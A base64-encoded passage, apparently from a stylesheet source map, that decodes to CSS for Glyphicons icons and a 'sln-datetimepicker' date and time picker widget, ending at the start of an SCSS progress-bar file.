Y29ucyBIYWxmbGluZ3NcIjtcblx0Zm9udC1zdHlsZTogbm9ybWFsO1xuXHRmb250LXdlaWdodDogbm9ybWFsO1xuXHRsaW5lLWhlaWdodDogMTtcblx0LXdlYmtpdC1mb250LXNtb290aGluZzogYW50aWFsaWFzZWQ7XG5cdC1tb3otb3N4LWZvbnQtc21vb3RoaW5nOiBncmF5c2NhbGU7XG59XG4uZ2x5cGhpY29uLXBsdXM6YmVmb3JlIHtcblx0Y29udGVudDogXCJcXDJiXCI7XG59XG4uZ2x5cGhpY29uLWV1cm86YmVmb3JlIHtcblx0Y29udGVudDogXCJcXDIwYWNcIjtcbn1cbi5nbHlwaGljb24tbWludXM6YmVmb3JlIHtcblx0Y29udGVudDogXCJcXDIyMTJcIjtcbn1cbi5nbHlwaGljb24tdGltZTpiZWZvcmUge1xuXHRjb250ZW50OiBcIlxcZTAyM1wiO1xufVxuLmdseXBoaWNvbi1jYWxlbmRhcjpiZWZvcmUge1xuXHRjb250ZW50OiBcIlxcZTEwOVwiO1xufVxuLmdseXBoaWNvbi1jaGV2cm9uLWxlZnQ6YmVmb3JlIHtcblx0Y29udGVudDogXCJcXGUwNzlcIjtcbn1cbi5nbHlwaGljb24tY2hldnJvbi1yaWdodDpiZWZvcmUge1xuXHRjb250ZW50OiBcIlxcZTA4MFwiO1xufVxuLmdseXBoaWNvbi11c2VyOmJlZm9yZSB7XG5cdGNvbnRlbnQ6IFwiXFxlMDA4XCI7XG59XG4uZ2x5cGhpY29uLW9rLWNpcmNsZTpiZWZvcmUge1xuXHRjb250ZW50OiBcIlxcZTA4OVwiO1xufVxuLmdseXBoaWNvbi1hcnJvdy1sZWZ0OmJlZm9yZSB7XG5cdGNvbnRlbnQ6IFwiXFxlMDkxXCI7XG59XG4uZ2x5cGhpY29uLWFycm93LXJpZ2h0OmJlZm9yZSB7XG5cdGNvbnRlbnQ6IFwiXFxlMDkyXCI7XG59XG4uZ2x5cGhpY29uLWFycm93LXVwOmJlZm9yZSB7XG5cdGNvbnRlbnQ6IFwiXFxlMDkzXCI7XG59XG4uZ2x5cGhpY29uLWFycm93LWRvd246YmVmb3JlIHtcblx0Y29udGVudDogXCJcXGUwOTRcIjtcbn1cbi5nbHlwaGljb24tYmFuLWNpcmNsZTpiZWZvcmUge1xuXHRjb250ZW50OiBcIlxcZTA5MFwiO1xufVxuLmdseXBoaWNvbi1leGNsYW1hdGlvbi1zaWduOmJlZm9yZSB7XG5cdGNvbnRlbnQ6IFwiXFxlMTAxXCI7XG59XG4uZ2x5cGhpY29uLXN0YXI6YmVmb3JlIHtcblx0Y29udGVudDogXCJcXGUwMDZcIjtcbn1cbi5nbHlwaGljb24tc3Rhci1lbXB0eTpiZWZvcmUge1xuXHRjb250ZW50OiBcIlxcZTAwN1wiO1xufVxuLmdseXBoaWNvbi13YXJuaW5nLXNpZ246YmVmb3JlIHtcblx0Y29udGVudDogXCJcXGUxMDdcIjtcbn1cbi5nbHlwaGljb24tZmxhZzpiZWZvcmUge1xuXHRjb250ZW50OiBcIlxcZTAzNFwiO1xufVxuLmdseXBoaWNvbi11cGxvYWQ6YmVmb3JlIHtcblx0Y29udGVudDogXCJcXGUwMjdcIjtcbn1cbi5nbHlwaGljb24tcmVwZWF0OmJlZm9yZSB7XG5cdGNvbnRlbnQ6IFwiXFxlMDMwXCI7XG59XG4vKiBhbGdvbHBsdXMgc3RhcnQgKi9cbi5nbHlwaGljb24tdHJhc2g6YmVmb3JlIHtcblx0Y29udGVudDogXCJcXGUwMjBcIjtcbn1cbi5nbHlwaGljb24tdGh1bWJzLXVwOmJlZm9yZSB7XG5cdGNvbnRlbnQ6IFwiXFxlMTI1XCI7XG59XG4vKiBhbGdvbHBsdXMgZW5kICovXG4uZGF0ZXRpbWVwaWNrZXIuc2xuLWRhdGV0aW1lcGlja2VyIHtcblx0Zm9udC1mYW1pbHk6XG5cdFx0SGVsdmV0aWNhIE5ldWUsXG5cdFx0QXJpYWwsXG5cdFx0SGVsdmV0aWNhLFxuXHRcdHNhbnMtc2VyaWY7XG59XG4uZGF0ZXRpbWVwaWNrZXIuc2xuLWRhdGV0aW1lcGlja2VyIHRkLFxuLmRhdGV0aW1lcGlja2VyLnNsbi1kYXRldGltZXBpY2tlciB0aCxcbi5kYXRldGltZXBpY2tlci5zbG4tZGF0ZXRpbWVwaWNrZXIgdGFibGUgdHIgdGQgc3BhbiB7XG5cdGJvcmRlci1yYWRpdXM6IDA7XG5cdHBhZGRpbmc6IDNweCA1cHg7XG59XG4uZGF0ZXRpbWVwaWNrZXIuc2xuLWRhdGV0aW1lcGlja2VyIHtcblx0bWF4LXdpZHRoOiA1OTBweDtcbn1cbi5kYXRldGltZXBpY2tlci5zbG4tZGF0ZXRpbWVwaWNrZXIgdGFibGUge1xuXHRib3JkZXItdG9wOiBub25lO1xufVxuLmRhdGV0aW1lcGlja2VyLnNsbi1kYXRldGltZXBpY2tlciAuc2xuLWRhdGV0aW1lcGlja2VyLWNsb3NlIHtcblx0ZGlzcGxheTogYmxvY2s7XG5cdHdpZHRoOiAxMDAlO1xuXHRoZWlnaHQ6IDQwcHg7XG5cdGJhY2tncm91bmQtY29sb3I6ICNkNTFlMjY7XG5cdHRleHQtYWxpZ246IGNlbnRlcjtcblx0bGluZS1oZWlnaHQ6IDQwcHg7XG5cdHRleHQtZGVjb3JhdGlvbjogbm9uZTtcblx0Y29sb3I6ICNmZmY7XG5cdGN1cnNvcjogcG9pbnRlcjtcblx0Zm9udC1zdHlsZTogbm9ybWFsO1xuXHRtYXJnaW46IDIwcHggMCAxMHB4IDA7XG59XG4uZGF0ZXRpbWVwaWNrZXIuc2xuLWRhdGV0aW1lcGlja2VyIC5zbG4tZGF0ZXRpbWVwaWNrZXItY2xvc2U6aG92ZXIge1xuXHRiYWNrZ3JvdW5kLWNvbG9yOiAjZmYwMDBiO1xufVxuQG1lZGlhIG9ubHkgc2NyZWVuIGFuZCAobWF4LXdpZHRoOiA3NjdweCkge1xuXHQuZGF0ZXRpbWVwaWNrZXIuc2xuLWRhdGV0aW1lcGlja2VyIHtcblx0XHRsZWZ0OiAwICFpbXBvcnRhbnQ7XG5cdFx0d2lkdGg6IDEwMCU7XG5cdFx0bWF4LXdpZHRoOiAxMDAlO1xuXHRcdGhlaWdodDogYXV0bztcblx0XHRtYXJnaW4tdG9wOiAwO1xuXHRcdC13ZWJraXQtYmFja2ZhY2UtdmlzaWJpbGl0eTogaGlkZGVuO1xuXHRcdGJhY2tmYWNlLXZpc2liaWxpdHk6IGhpZGRlbjtcblx0fVxuXHQuZGF0ZXRpbWVwaWNrZXIuc2xuLWRhdGV0aW1lcGlja2VyIC5zbG4tZGF0ZXRpbWVwaWNrZXItY2xvc2Uge1xuXHRcdGhlaWdodDogNjBweDtcblx0XHRsaW5lLWhlaWdodDogNjBweDtcblx0fVxufVxuQG1lZGlhIG9ubHkgc2NyZWVuIGFuZCAobWluLXdpZHRoOiA3NjhweCkgYW5kIChtYXgtd2lkdGg6IDEyMDBweCkge1xuXHQuZGF0ZXRpbWVwaWNrZXIuc2xuLWRhdGV0aW1lcGlja2VyOm5vdCgub2ZmLXNtLW1kLXN1cHBvcnQpIHtcblx0XHRsZWZ0OiAwICFpbXBvcnRhbnQ7XG5cdFx0d2lkdGg6IDEwMCU7XG5cdFx0bWF4LXdpZHRoOiAxMDAlO1xuXHRcdGhlaWdodDogYXV0bztcblx0XHRtaW4taGVpZ2h0OiAyMDBweDtcblx0fVxufVxuLmRhdGV0aW1lcGlja2VyLnNsbi1kYXRldGltZXBpY2tlciB0YWJsZSB0ciB0ZC50b2RheSxcbi5kYXRldGltZXBpY2tlci5zbG4tZGF0ZXRpbWVwaWNrZXIgdGFibGUgdHIgdGQudG9kYXk6aG92ZXIsXG4uZGF0ZXRpbWVwaWNrZXIuc2xuLWRhdGV0aW1lcGlja2VyIHRhYmxlIHRyIHRkLnRvZGF5LmRpc2FibGVkLFxuLmRhdGV0aW1lcGlja2VyLnNsbi1kYXRldGltZXBpY2tlciB0YWJsZSB0ciB0ZC50b2RheS5kaXNhYmxlZDpob3Zlcixcbi5kYXRldGltZXBpY2tlci5zbG4tZGF0ZXRpbWVwaWNrZXIgdGFibGUgdHIgdGQuYWN0aXZlLFxuLmRhdGV0aW1lcGlja2VyLnNsbi1kYXRldGltZXBpY2tlciB0YWJsZSB0ciB0ZC5hY3RpdmU6aG92ZXIsXG4uZGF0ZXRpbWVwaWNrZXIuc2xuLWRhdGV0aW1lcGlja2VyIHRhYmxlIHRyIHRkLmFjdGl2ZS5kaXNhYmxlZCxcbi5kYXRldGltZXBpY2tlci5zbG4tZGF0ZXRpbWVwaWNrZXIgdGFibGUgdHIgdGQuYWN0aXZlLmRpc2FibGVkOmhvdmVyLFxuLmRhdGV0aW1lcGlja2VyLnNsbi1kYXRldGltZXBpY2tlciB0YWJsZSB0ciB0ZCBzcGFuLmFjdGl2ZSxcbi5kYXRldGltZXBpY2tlci5zbG4tZGF0ZXRpbWVwaWNrZXIgdGFibGUgdHIgdGQgc3Bhbi5hY3RpdmU6aG92ZXIsXG4uZGF0ZXRpbWVwaWNrZXIuc2xuLWRhdGV0aW1lcGlja2VyIHRhYmxlIHRyIHRkIHNwYW4uYWN0aXZlLmRpc2FibGVkLFxuLmRhdGV0aW1lcGlja2VyLnNsbi1kYXRldGltZXBpY2tlciB0YWJsZSB0ciB0ZCBzcGFuLmFjdGl2ZS5kaXNhYmxlZDpob3ZlciB7XG5cdGJhY2tncm91bmQtaW1hZ2U6IG5vbmU7XG5cdGJvcmRlcjogbm9uZTtcblx0dGV4dC1zaGFkb3c6IG5vbmU7XG59XG4uZGF0ZXRpbWVwaWNrZXIuc2xuLWRhdGV0aW1lcGlja2VyIHRhYmxlIHRyIHRkLmFjdGl2ZTpob3Zlcixcbi5kYXRldGltZXBpY2tlci5zbG4tZGF0ZXRpbWVwaWNrZXIgdGFibGUgdHIgdGQuYWN0aXZlOmhvdmVyOmhvdmVyLFxuLmRhdGV0aW1lcGlja2VyLnNsbi1kYXRldGltZXBpY2tlciB0YWJsZSB0ciB0ZC5hY3RpdmUuZGlzYWJsZWQ6aG92ZXIsXG4uZGF0ZXRpbWVwaWNrZXIuc2xuLWRhdGV0aW1lcGlja2VyIHRhYmxlIHRyIHRkLmFjdGl2ZS5kaXNhYmxlZDpob3Zlcjpob3Zlcixcbi5kYXRldGltZXBpY2tlci5zbG4tZGF0ZXRpbWVwaWNrZXIgdGFibGUgdHIgdGQuYWN0aXZlOmFjdGl2ZSxcbi5kYXRldGltZXBpY2tlci5zbG4tZGF0ZXRpbWVwaWNrZXIgdGFibGUgdHIgdGQuYWN0aXZlOmhvdmVyOmFjdGl2ZSxcbi5kYXRldGltZXBpY2tlci5zbG4tZGF0ZXRpbWVwaWNrZXIgdGFibGUgdHIgdGQuYWN0aXZlLmRpc2FibGVkOmFjdGl2ZSxcbi5kYXRldGltZXBpY2tlci5zbG4tZGF0ZXRpbWVwaWNrZXIgdGFibGUgdHIgdGQuYWN0aXZlLmRpc2FibGVkOmhvdmVyOmFjdGl2ZSxcbi5kYXRldGltZXBpY2tlci5zbG4tZGF0ZXRpbWVwaWNrZXIgdGFibGUgdHIgdGQuYWN0aXZlLmFjdGl2ZSxcbi5kYXRldGltZXBpY2tlci5zbG4tZGF0ZXRpbWVwaWNrZXIgdGFibGUgdHIgdGQuYWN0aXZlOmhvdmVyLmFjdGl2ZSxcbi5kYXRldGltZXBpY2tlci5zbG4tZGF0ZXRpbWVwaWNrZXIgdGFibGUgdHIgdGQuYWN0aXZlLmRpc2FibGVkLmFjdGl2ZSxcbi5kYXRldGltZXBpY2tlci5zbG4tZGF0ZXRpbWVwaWNrZXIgdGFibGUgdHIgdGQuYWN0aXZlLmRpc2FibGVkOmhvdmVyLmFjdGl2ZSxcbi5kYXRldGltZXBpY2tlci5zbG4tZGF0ZXRpbWVwaWNrZXIgdGFibGUgdHIgdGQuYWN0aXZlLmRpc2FibGVkLFxuLmRhdGV0aW1lcGlja2VyLnNsbi1kYXRldGltZXBpY2tlciB0YWJsZSB0ciB0ZC5hY3RpdmU6aG92ZXIuZGlzYWJsZWQsXG4uZGF0ZXRpbWVwaWNrZXIuc2xuLWRhdGV0aW1lcGlja2VyIHRhYmxlIHRyIHRkLmFjdGl2ZS5kaXNhYmxlZC5kaXNhYmxlZCxcbi5kYXRldGltZXBpY2tlci5zbG4tZGF0ZXRpbWVwaWNrZXIgdGFibGUgdHIgdGQuYWN0aXZlLmRpc2FibGVkOmhvdmVyLmRpc2FibGVkLFxuLmRhdGV0aW1lcGlja2VyLnNsbi1kYXRldGltZXBpY2tlciB0YWJsZSB0ciB0ZC5hY3RpdmVbZGlzYWJsZWRdLFxuLmRhdGV0aW1lcGlja2VyLnNsbi1kYXRldGltZXBpY2tlciB0YWJsZSB0ciB0ZC5hY3RpdmU6aG92ZXJbZGlzYWJsZWRdLFxuLmRhdGV0aW1lcGlja2VyLnNsbi1kYXRldGltZXBpY2tlciB0YWJsZSB0ciB0ZC5hY3RpdmUuZGlzYWJsZWRbZGlzYWJsZWRdLFxuLmRhdGV0aW1lcGlja2VyLnNsbi1kYXRldGltZXBpY2tlciB0YWJsZSB0ciB0ZC5hY3RpdmUuZGlzYWJsZWQ6aG92ZXJbZGlzYWJsZWRdLFxuLmRhdGV0aW1lcGlja2VyLnNsbi1kYXRldGltZXBpY2tlciB0YWJsZSB0ciB0ZCBzcGFuLmFjdGl2ZTpob3Zlcixcbi5kYXRldGltZXBpY2tlci5zbG4tZGF0ZXRpbWVwaWNrZXIgdGFibGUgdHIgdGQgc3Bhbi5hY3RpdmU6aG92ZXI6aG92ZXIsXG4uZGF0ZXRpbWVwaWNrZXIuc2xuLWRhdGV0aW1lcGlja2VyIHRhYmxlIHRyIHRkIHNwYW4uYWN0aXZlLmRpc2FibGVkOmhvdmVyLFxuLmRhdGV0aW1lcGlja2VyLnNsbi1kYXRldGltZXBpY2tlciB0YWJsZSB0ciB0ZCBzcGFuLmFjdGl2ZS5kaXNhYmxlZDpob3Zlcjpob3Zlcixcbi5kYXRldGltZXBpY2tlci5zbG4tZGF0ZXRpbWVwaWNrZXIgdGFibGUgdHIgdGQgc3Bhbi5hY3RpdmU6YWN0aXZlLFxuLmRhdGV0aW1lcGlja2VyLnNsbi1kYXRldGltZXBpY2tlciB0YWJsZSB0ciB0ZCBzcGFuLmFjdGl2ZTpob3ZlcjphY3RpdmUsXG4uZGF0ZXRpbWVwaWNrZXIuc2xuLWRhdGV0aW1lcGlja2VyIHRhYmxlIHRyIHRkIHNwYW4uYWN0aXZlLmRpc2FibGVkOmFjdGl2ZSxcbi5kYXRldGltZXBpY2tlci5zbG4tZGF0ZXRpbWVwaWNrZXJcblx0dGFibGVcblx0dHJcblx0dGRcblx0c3Bhbi5hY3RpdmUuZGlzYWJsZWQ6aG92ZXI6YWN0aXZlLFxuLmRhdGV0aW1lcGlja2VyLnNsbi1kYXRldGltZXBpY2tlciB0YWJsZSB0ciB0ZCBzcGFuLmFjdGl2ZS5hY3RpdmUsXG4uZGF0ZXRpbWVwaWNrZXIuc2xuLWRhdGV0aW1lcGlja2VyIHRhYmxlIHRyIHRkIHNwYW4uYWN0aXZlOmhvdmVyLmFjdGl2ZSxcbi5kYXRldGltZXBpY2tlci5zbG4tZGF0ZXRpbWVwaWNrZXIgdGFibGUgdHIgdGQgc3Bhbi5hY3RpdmUuZGlzYWJsZWQuYWN0aXZlLFxuLmRhdGV0aW1lcGlja2VyLnNsbi1kYXRldGltZXBpY2tlclxuXHR0YWJsZVxuXHR0clxuXHR0ZFxuXHRzcGFuLmFjdGl2ZS5kaXNhYmxlZDpob3Zlci5hY3RpdmUsXG4uZGF0ZXRpbWVwaWNrZXIuc2xuLWRhdGV0aW1lcGlja2VyIHRhYmxlIHRyIHRkIHNwYW4uYWN0aXZlLmRpc2FibGVkLFxuLmRhdGV0aW1lcGlja2VyLnNsbi1kYXRldGltZXBpY2tlciB0YWJsZSB0ciB0ZCBzcGFuLmFjdGl2ZTpob3Zlci5kaXNhYmxlZCxcbi5kYXRldGltZXBpY2tlci5zbG4tZGF0ZXRpbWVwaWNrZXIgdGFibGUgdHIgdGQgc3Bhbi5hY3RpdmUuZGlzYWJsZWQuZGlzYWJsZWQsXG4uZGF0ZXRpbWVwaWNrZXIuc2xuLWRhdGV0aW1lcGlja2VyXG5cdHRhYmxlXG5cdHRyXG5cdHRkXG5cdHNwYW4uYWN0aXZlLmRpc2FibGVkOmhvdmVyLmRpc2FibGVkLFxuLmRhdGV0aW1lcGlja2VyLnNsbi1kYXRldGltZXBpY2tlciB0YWJsZSB0ciB0ZCBzcGFuLmFjdGl2ZVtkaXNhYmxlZF0sXG4uZGF0ZXRpbWVwaWNrZXIuc2xuLWRhdGV0aW1lcGlja2VyIHRhYmxlIHRyIHRkIHNwYW4uYWN0aXZlOmhvdmVyW2Rpc2FibGVkXSxcbi5kYXRldGltZXBpY2tlci5zbG4tZGF0ZXRpbWVwaWNrZXIgdGFibGUgdHIgdGQgc3Bhbi5hY3RpdmUuZGlzYWJsZWRbZGlzYWJsZWRdLFxuLmRhdGV0aW1lcGlja2VyLnNsbi1kYXRldGltZXBpY2tlclxuXHR0YWJsZVxuXHR0clxuXHR0ZFxuXHRzcGFuLmFjdGl2ZS5kaXNhYmxlZDpob3ZlcltkaXNhYmxlZF0ge1xuXHRiYWNrZ3JvdW5kLWNvbG9yOiAjMDc2YjlkO1xufVxuLmRhdGV0aW1lcGlja2VyLnNsbi1kYXRldGltZXBpY2tlciB0YWJsZSB0ciB0ZC5kYXk6bm90KC5kaXNhYmxlZCksXG4uZGF0ZXRpbWVwaWNrZXIuc2xuLWRhdGV0aW1lcGlja2VyXG5cdHRhYmxlXG5cdHRyXG5cdHRkXG5cdHNwYW4uaG91cjpub3QoLmRpc2FibGVkKTpub3QoLmFjdGl2ZSksXG4uZGF0ZXRpbWVwaWNrZXIuc2xuLWRhdGV0aW1lcGlja2VyXG5cdHRhYmxlXG5cdHRyXG5cdHRkXG5cdHNwYW4ubWludXRlOm5vdCguZGlzYWJsZWQpOm5vdCguYWN0aXZlKSB7XG5cdGNvbG9yOiAjMzNjYzMzO1xufVxuLmRhdGV0aW1lcGlja2VyLnNsbi1kYXRldGltZXBpY2tlciB0YWJsZSB0ciB0ZC5kYXk6bm90KC5kaXNhYmxlZCk6aG92ZXIsXG4uZGF0ZXRpbWVwaWNrZXIuc2xuLWRhdGV0aW1lcGlja2VyXG5cdHRhYmxlXG5cdHRyXG5cdHRkXG5cdHNwYW4uaG91cjpub3QoLmRpc2FibGVkKTpub3QoLmFjdGl2ZSk6aG92ZXIsXG4uZGF0ZXRpbWVwaWNrZXIuc2xuLWRhdGV0aW1lcGlja2VyXG5cdHRhYmxlXG5cdHRyXG5cdHRkXG5cdHNwYW4ubWludXRlOm5vdCguZGlzYWJsZWQpOm5vdCguYWN0aXZlKTpob3ZlciB7XG5cdGNvbG9yOiAjZmZmO1xuXHRiYWNrZ3JvdW5kLWNvbG9yOiAjMzNjYzMzO1xufVxuLmRhdGV0aW1lcGlja2VyLnNsbi1kYXRldGltZXBpY2tlclxuXHR0YWJsZVxuXHR0clxuXHR0ZFxuXHRzcGFuLmhvdXIucmVkOm5vdCguZGlzYWJsZWQpOm5vdCguYWN0aXZlKSxcbi5kYXRldGltZXBpY2tlci5zbG4tZGF0ZXRpbWVwaWNrZXJcblx0dGFibGVcblx0dHJcblx0dGRcblx0c3Bhbi5taW51dGUucmVkOm5vdCguZGlzYWJsZWQpOm5vdCguYWN0aXZlKSxcbi5kYXRldGltZXBpY2tlci5zbG4tZGF0ZXRpbWVwaWNrZXIgdGFibGUgdHIgdGQuZGF5LnJlZDpub3QoLmRpc2FibGVkKSxcbi5zZWxlY3QyLXJlc3VsdHNfX29wdGlvbi5yZWQge1xuXHRjb2xvcjogcmVkICFpbXBvcnRhbnQ7XG59XG4uZGF0ZXRpbWVwaWNrZXIuc2xuLWRhdGV0aW1lcGlja2VyXG5cdHRhYmxlXG5cdHRyXG5cdHRkXG5cdHNwYW4uaG91ci5yZWQ6bm90KC5kaXNhYmxlZCk6bm90KC5hY3RpdmUpOmhvdmVyLFxuLmRhdGV0aW1lcGlja2VyLnNsbi1kYXRldGltZXBpY2tlclxuXHR0YWJsZVxuXHR0clxuXHR0ZFxuXHRzcGFuLm1pbnV0ZS5yZWQ6bm90KC5kaXNhYmxlZCk6bm90KC5hY3RpdmUpOmhvdmVyLFxuLmRhdGV0aW1lcGlja2VyLnNsbi1kYXRldGltZXBpY2tlciB0YWJsZSB0ciB0ZC5kYXkucmVkOm5vdCguZGlzYWJsZWQpOmhvdmVyLFxuLnNlbGVjdDItcmVzdWx0c19fb3B0aW9uLnJlZDpob3ZlciB7XG5cdGNvbG9yOiB3aGl0ZSAhaW1wb3J0YW50O1xuXHRiYWNrZ3JvdW5kLWNvbG9yOiByZWQgIWltcG9ydGFudDtcbn1cbkBtZWRpYSBvbmx5IHNjcmVlbiBhbmQgKG1heC13aWR0aDogNzY3cHgpIHtcblx0LmRhdGV0aW1lcGlja2VyLnNsbi1kYXRldGltZXBpY2tlciB0YWJsZSB0ciB0ZC5kYXksXG5cdC5kYXRldGltZXBpY2tlci5zbG4tZGF0ZXRpbWVwaWNrZXIgdGFibGUgdHIgdGQgc3Bhbi5ob3VyLFxuXHQuZGF0ZXRpbWVwaWNrZXIuc2xuLWRhdGV0aW1lcGlja2VyIHRhYmxlIHRyIHRkIHNwYW4ubWludXRlIHtcblx0XHRiYWNrZ3JvdW5kOiAjZWVlO1xuXHRcdGZvbnQtc2l6ZTogMS40ZW07XG5cdFx0Ym9yZGVyOiAycHggc29saWQgI2ZmZjtcblx0XHR0ZXh0LWFsaWduOiBjZW50ZXI7XG5cdFx0cGFkZGluZzogMDtcblx0fVxufVxuQG1lZGlhIG9ubHkgc2NyZWVuIGFuZCAobWluLXdpZHRoOiA3NjhweCkgYW5kIChtYXgtd2lkdGg6IDEyMDBweCkge1xuXHQuZGF0ZXRpbWVwaWNrZXIuc2xuLWRhdGV0aW1lcGlja2VyOm5vdCgub2ZmLXNtLW1kLXN1cHBvcnQpIHRhYmxlIHRyIHRkLmRheSxcblx0LmRhdGV0aW1lcGlja2VyLnNsbi1kYXRldGltZXBpY2tlcjpub3QoLm9mZi1zbS1tZC1zdXBwb3J0KVxuXHRcdHRhYmxlXG5cdFx0dHJcblx0XHR0ZFxuXHRcdHNwYW4uaG91cixcblx0LmRhdGV0aW1lcGlja2VyLnNsbi1kYXRldGltZXBpY2tlcjpub3QoLm9mZi1zbS1tZC1zdXBwb3J0KVxuXHRcdHRhYmxlXG5cdFx0dHJcblx0XHR0ZFxuXHRcdHNwYW4ubWludXRlIHtcblx0XHRiYWNrZ3JvdW5kOiAjZWVlO1xuXHRcdGZvbnQtc2l6ZTogMS40ZW07XG5cdFx0Ym9yZGVyOiAycHggc29saWQgI2ZmZjtcblx0XHR0ZXh0LWFsaWduOiBjZW50ZXI7XG5cdFx0cGFkZGluZzogMDtcblx0fVxufVxuQG1lZGlhIG9ubHkgc2NyZWVuIGFuZCAobWF4LXdpZHRoOiA3NjdweCkge1xuXHQuZGF0ZXRpbWVwaWNrZXIuc2xuLWRhdGV0aW1lcGlja2VyIHRhYmxlIHRyIHRkLmRheSB7XG5cdFx0d2lkdGg6IDQwcHggIWltcG9ydGFudDtcblx0XHRoZWlnaHQ6IDQwcHggIWltcG9ydGFudDtcblx0XHRsaW5lLWhlaWdodDogNjBweDtcblx0fVxufVxuQG1lZGlhIG9ubHkgc2NyZWVuIGFuZCAobWluLXdpZHRoOiA3NjhweCkgYW5kIChtYXgtd2lkdGg6IDEyMDBweCkge1xuXHQuZGF0ZXRpbWVwaWNrZXIuc2xuLWRhdGV0aW1lcGlja2VyOm5vdCgub2ZmLXNtLW1kLXN1cHBvcnQpIHRhYmxlIHRyIHRkLmRheSB7XG5cdFx0d2lkdGg6IDYwcHggIWltcG9ydGFudDtcbiAgICBoZWlnaHQ6IDYwcHggIWltcG9ydGFudDtcblx0XHRsaW5lLWhlaWdodDogNjBweDtcblx0fVxufVxuQG1lZGlhIG9ubHkgc2NyZWVuIGFuZCAobWF4LXdpZHRoOiA3NjdweCkge1xuXHQuZGF0ZXRpbWVwaWNrZXIuc2xuLWRhdGV0aW1lcGlja2VyIHRhYmxlIHRyIHRkIHNwYW4uaG91cixcblx0LmRhdGV0aW1lcGlja2VyLnNsbi1kYXRldGltZXBpY2tlciB0YWJsZSB0ciB0ZCBzcGFuLm1pbnV0ZSB7XG5cdFx0d2lkdGg6IDI1JSAhaW1wb3J0YW50O1xuICAgIGhlaWdodDogNjBweCAhaW1wb3J0YW50O1xuXHRcdGxpbmUtaGVpZ2h0OiA2MHB4O1xuXHRcdG1hcmdpbjogMDtcblx0fVxufVxuQG1lZGlhIG9ubHkgc2NyZWVuIGFuZCAobWluLXdpZHRoOiA3NjhweCkgYW5kIChtYXgtd2lkdGg6IDEyMDBweCkge1xuXHQuZGF0ZXRpbWVwaWNrZXIuc2xuLWRhdGV0aW1lcGlja2VyOm5vdCgub2ZmLXNtLW1kLXN1cHBvcnQpXG5cdFx0dGFibGVcblx0XHR0clxuXHRcdHRkXG5cdFx0c3Bhbi5ob3VyLFxuXHQuZGF0ZXRpbWVwaWNrZXIuc2xuLWRhdGV0aW1lcGlja2VyOm5vdCgub2ZmLXNtLW1kLXN1cHBvcnQpXG5cdFx0dGFibGVcblx0XHR0clxuXHRcdHRkXG5cdFx0c3Bhbi5taW51dGUge1xuXHRcdHdpZHRoOiAyNSUgIWltcG9ydGFudDtcbiAgICBoZWlnaHQ6IDYwcHggIWltcG9ydGFudDtcblx0XHRsaW5lLWhlaWdodDogNjBweDtcblx0XHRtYXJnaW46IDA7XG5cdH1cbn1cbi5zbG5fZGF0ZXBpY2tlciAjc2xuX2RhdGUuZm9ybS1jb250cm9sW3JlYWRvbmx5XSxcbi5zbG5fdGltZXBpY2tlciAjc2xuX3RpbWUuZm9ybS1jb250cm9sW3JlYWRvbmx5XSB7XG5cdGN1cnNvcjogcG9pbnRlcjtcbn1cblxuLmRhdGV0aW1lcGlja2VyLnNsbi1kYXRldGltZXBpY2tlci50aW1lcGlja2VyXG5cdC5kYXRldGltZXBpY2tlci1taW51dGVzXG5cdHRhYmxlXG5cdHRoZWFkXG5cdHRyXG5cdHRoLFxuLmRhdGV0aW1lcGlja2VyLnNsbi1kYXRldGltZXBpY2tlci50aW1lcGlja2VyXG5cdC5kYXRldGltZXBpY2tlci1ob3Vyc1xuXHR0YWJsZVxuXHR0aGVhZFxuXHR0clxuXHR0aCxcbi5kYXRldGltZXBpY2tlci5zbG4tZGF0ZXRpbWVwaWNrZXIudGltZXBpY2tlclxuXHQuZGF0ZXRpbWVwaWNrZXItZGF5c1xuXHR0YWJsZVxuXHR0aGVhZFxuXHR0clxuXHR0aCxcbi5kYXRldGltZXBpY2tlci5zbG4tZGF0ZXRpbWVwaWNrZXIudGltZXBpY2tlclxuXHQuZGF0ZXRpbWVwaWNrZXItbW9udGhzXG5cdHRhYmxlXG5cdHRoZWFkXG5cdHRyXG5cdHRoLFxuLmRhdGV0aW1lcGlja2VyLnNsbi1kYXRldGltZXBpY2tlci50aW1lcGlja2VyXG5cdC5kYXRldGltZXBpY2tlci15ZWFyc1xuXHR0YWJsZVxuXHR0aGVhZFxuXHR0clxuXHR0aCB7XG5cdGhlaWdodDogMXB4O1xuXHRwYWRkaW5nOiAwO1xuXHRmb250LXNpemU6IDFweDtcblx0bGluZS1oZWlnaHQ6IDFweDtcblx0dGV4dC1pbmRlbnQ6IC05OTk5cHg7XG5cdG9wYWNpdHk6IDA7XG5cdHBvaW50ZXItZXZlbnRzOiBub25lO1xufVxuLyogRklYIDA5MjAyMyAqL1xuLmRhdGV0aW1lcGlja2VyIGRpdi5kYXRldGltZXBpY2tlci1taW51dGVzIHtcblx0ZGlzcGxheTogYmxvY2s7XG5cdG92ZXJmbG93LXk6IHNjcm9sbDtcblx0b3ZlcmZsb3cteDogaGlkZGVuO1xuXHRoZWlnaHQ6IDI1MHB4O1xufVxuLmRhdGV0aW1lcGlja2VyLnNsbi1kYXRldGltZXBpY2tlciAuZGF0ZXRpbWVwaWNrZXItbWludXRlcyB0YWJsZSB0ciB0ZCBzcGFuIHtcblx0Zm9udC1zaXplOiAxLjI1ZW07XG5cdHdpZHRoOiAxMiU7XG59XG4uZGF0ZXRpbWVwaWNrZXIuc2xuLWRhdGV0aW1lcGlja2VyIC5kYXRldGltZXBpY2tlci1taW51dGVzIHRkLFxuLmRhdGV0aW1lcGlja2VyLnNsbi1kYXRldGltZXBpY2tlciAuZGF0ZXRpbWVwaWNrZXItbWludXRlcyB0aCB7XG5cdHdpZHRoOiAyMDBweDtcbn1cbi5kYXRldGltZXBpY2tlci5zbG4tZGF0ZXRpbWVwaWNrZXIgdGFibGUgdHIgdGQudG9kYXkge1xuXHRiYWNrZ3JvdW5kLWNvbG9yOiAjZmRlMTlhO1xufVxuIiwiQHVzZSBcInNhc3M6Y29sb3JcIjtcbkB1c2UgXCIuLi9hZG1pbl9jb25maWdcIjtcbkB1c2UgXCIuLi9jb2xvcnMtbnVcIjtcbkB1c2UgXCIuLi9zZXR0aW5ncy1taXhpbnNcIjtcbkB1c2UgXCIuLi90eXBvLWFkbWluXCI7XG5cbi8vXG4vLyBQcm9ncmVzcyBiYXJzXG4vLyAtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLVxuLy89PSBQcm9ncmVzcyBiYXJzXG4vL1xuLy8jI1xuJGJyYW5kLXBy